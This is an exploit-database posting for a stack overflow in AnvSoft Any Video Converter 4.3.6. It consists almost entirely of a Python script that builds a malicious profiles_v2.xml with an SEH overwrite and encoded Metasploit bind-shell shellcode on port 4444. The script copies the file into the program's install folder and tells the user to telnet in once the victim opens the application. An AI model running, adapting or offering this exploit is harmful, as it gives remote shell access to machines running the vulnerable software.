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AnvSoft Any Video Converter 4.3.6 Stack Overflow

AnvSoft Any Video Converter 4.3.6 Stack Overflow
Posted May 3, 2012
Authored by cikumel, y0k

AnvSoft Any Video Converter version 4.3.6 suffers from a stack overflow vulnerability.

tags | exploit, overflow
MD5 | a6631c0580f81378935cad46510f0989

AnvSoft Any Video Converter 4.3.6 Stack Overflow

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#!/usr/bin/python
#
# Exploit Title: AnvSoft Any Video Converter 4.3.6 Stack Overflow
# Author: cikumel (@mhx_x) and y0k (@riy0_wid) from @spentera research
# Website: http://www.spentera.com
# Platform: Windows
# Tested on: Windows XP SP3
# Based on POC by Vulnerability-Lab (http://www.exploit-db.com/exploits/18717/)
#

import os,shutil,time,sys

def banner():
print "\n\tAnvSoft Any Video Converter 4.3.6 Stack Overflow"
print "\tbased on POC by Vulnerability-Lab (www.vulnerability-lab.com)"
print "\tcikumel (@mhx_x) and y0k (@riy0_wid) from @spentera research\n"
print "\t----------------------------------------------------\n"

junk = "\x90" * 328
nseh = "\xeb\x06\x90\x90"
seh = "\xe4\xf3\x04\x10"

# win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
# badchars = "\x00\x0a\x0d\x22\x26\x3e"
code = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x48"
"\x58\x30\x41\x30\x50\x42\x6b\x42\x41\x58\x41\x42\x32\x42\x41\x32"
"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x59\x79\x69\x6c\x30"
"\x6a\x78\x6b\x32\x6d\x78\x68\x4b\x49\x4b\x4f\x4b\x4f\x4b\x4f\x41"
"\x70\x6c\x4b\x30\x6c\x51\x34\x66\x44\x6e\x6b\x72\x65\x35\x6c\x6c"
"\x4b\x73\x4c\x67\x75\x30\x78\x67\x71\x68\x6f\x4c\x4b\x50\x4f\x47"
"\x68\x4e\x6b\x41\x4f\x67\x50\x55\x51\x7a\x4b\x42\x69\x6c\x4b\x74"
"\x74\x4c\x4b\x36\x61\x78\x6e\x74\x71\x4b\x70\x4f\x69\x6e\x4c\x4f"
"\x74\x4b\x70\x70\x74\x65\x57\x4a\x61\x6b\x7a\x56\x6d\x47\x71\x4b"
"\x72\x5a\x4b\x58\x74\x35\x6b\x72\x74\x75\x74\x34\x68\x30\x75\x4b"
"\x55\x4c\x4b\x43\x6f\x57\x54\x36\x61\x68\x6b\x72\x46\x4e\x6b\x56"
"\x6c\x30\x4b\x6e\x6b\x43\x6f\x65\x4c\x67\x71\x4a\x4b\x44\x43\x54"
"\x6c\x4c\x4b\x6f\x79\x70\x6c\x74\x64\x35\x4c\x70\x61\x39\x53\x57"
"\x41\x69\x4b\x50\x64\x6c\x4b\x47\x33\x70\x30\x6c\x4b\x57\x30\x76"
"\x6c\x6c\x4b\x72\x50\x45\x4c\x6e\x4d\x4c\x4b\x53\x70\x43\x38\x63"
"\x6e\x55\x38\x6c\x4e\x30\x4e\x54\x4e\x78\x6c\x42\x70\x69\x6f\x6e"
"\x36\x53\x56\x63\x63\x70\x66\x33\x58\x54\x73\x36\x52\x53\x58\x61"
"\x67\x34\x33\x57\x42\x41\x4f\x53\x64\x39\x6f\x5a\x70\x45\x38\x68"
"\x4b\x7a\x4d\x39\x6c\x57\x4b\x66\x30\x6b\x4f\x49\x46\x63\x6f\x4b"
"\x39\x79\x75\x65\x36\x4f\x71\x58\x6d\x47\x78\x63\x32\x70\x55\x73"
"\x5a\x37\x72\x4b\x4f\x68\x50\x70\x68\x4e\x39\x74\x49\x4c\x35\x4c"
"\x6d\x71\x47\x4b\x4f\x4a\x76\x32\x73\x63\x63\x50\x53\x50\x53\x31"
"\x43\x52\x63\x73\x63\x47\x33\x33\x63\x59\x6f\x4e\x30\x31\x76\x30"
"\x68\x77\x61\x51\x4c\x31\x76\x51\x43\x4d\x59\x6a\x41\x6f\x65\x45"
"\x38\x4f\x54\x66\x7a\x50\x70\x6a\x67\x66\x37\x79\x6f\x6e\x36\x61"
"\x7a\x64\x50\x33\x61\x42\x75\x69\x6f\x6a\x70\x33\x58\x4c\x64\x6e"
"\x4d\x56\x4e\x39\x79\x73\x67\x4b\x4f\x7a\x76\x72\x73\x70\x55\x59"
"\x6f\x58\x50\x61\x78\x6a\x45\x41\x59\x6d\x56\x42\x69\x66\x37\x4b"
"\x4f\x4e\x36\x46\x30\x76\x34\x31\x44\x50\x55\x69\x6f\x4e\x30\x6e"
"\x73\x75\x38\x6b\x57\x64\x39\x49\x56\x43\x49\x46\x37\x39\x6f\x4b"
"\x66\x66\x35\x39\x6f\x68\x50\x75\x36\x62\x4a\x43\x54\x72\x46\x65"
"\x38\x65\x33\x70\x6d\x4f\x79\x6b\x55\x32\x4a\x46\x30\x46\x39\x41"
"\x39\x38\x4c\x4d\x59\x4d\x37\x41\x7a\x52\x64\x4f\x79\x6b\x52\x70"
"\x31\x4b\x70\x4c\x33\x4f\x5a\x49\x6e\x77\x32\x76\x4d\x69\x6e\x31"
"\x52\x64\x6c\x4e\x73\x4e\x6d\x43\x4a\x34\x78\x6e\x4b\x6e\x4b\x6c"
"\x6b\x50\x68\x62\x52\x4b\x4e\x78\x33\x54\x56\x4b\x4f\x73\x45\x32"
"\x64\x39\x6f\x38\x56\x61\x4b\x32\x77\x43\x62\x70\x51\x73\x61\x71"
"\x41\x63\x5a\x44\x41\x31\x41\x43\x61\x63\x65\x56\x31\x6b\x4f\x4e"
"\x30\x53\x58\x4c\x6d\x5a\x79\x54\x45\x58\x4e\x33\x63\x4b\x4f\x6b"
"\x66\x50\x6a\x39\x6f\x4b\x4f\x70\x37\x4b\x4f\x38\x50\x4e\x6b\x62"
"\x77\x49\x6c\x4c\x43\x49\x54\x43\x54\x69\x6f\x5a\x76\x56\x32\x79"
"\x6f\x6e\x30\x50\x68\x53\x4e\x6a\x78\x7a\x42\x44\x33\x52\x73\x39"
"\x6f\x4e\x36\x79\x6f\x68\x50\x48")

sisa = "\x90" * (1000-len(code))

poc = "<root>\n"
poc+= "<categories>\n"
poc+= "<category name=\""+junk+nseh+seh+code+sisa+"\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n"
poc+= "</categories>\n"
poc+= "<groups></groups>\n<profiles></profiles>\n</root>\n"

file = "profiles_v2.xml"
splash=os.path.abspath(file)
profdir="C:\Program Files\AnvSoft\Any Video Converter Professional"

writeFile = open(file, "w")
if os.name == 'nt':
if os.path.isdir(profdir):
try:
writeFile.write(poc)
banner()
print "[*] Creating the malicious",file
time.sleep(1)
print "[*] Malicious",file,"created.."
writeFile.close()
shutil.copy2(splash,profdir)
print "[*] File",file,"has been copied to",profdir
print "[*] Now open AnvSoft program and telnet to port 4444"
except IOError:
print "[-] Could not write to destination folder, check permission.."
sys.exit()
else:
print "[-] Could not find installation directory, is AnvSoft Any Video Converter installed?"
sys.exit()
else:
print "[-] Please run this script on Windows."
sys.exit()

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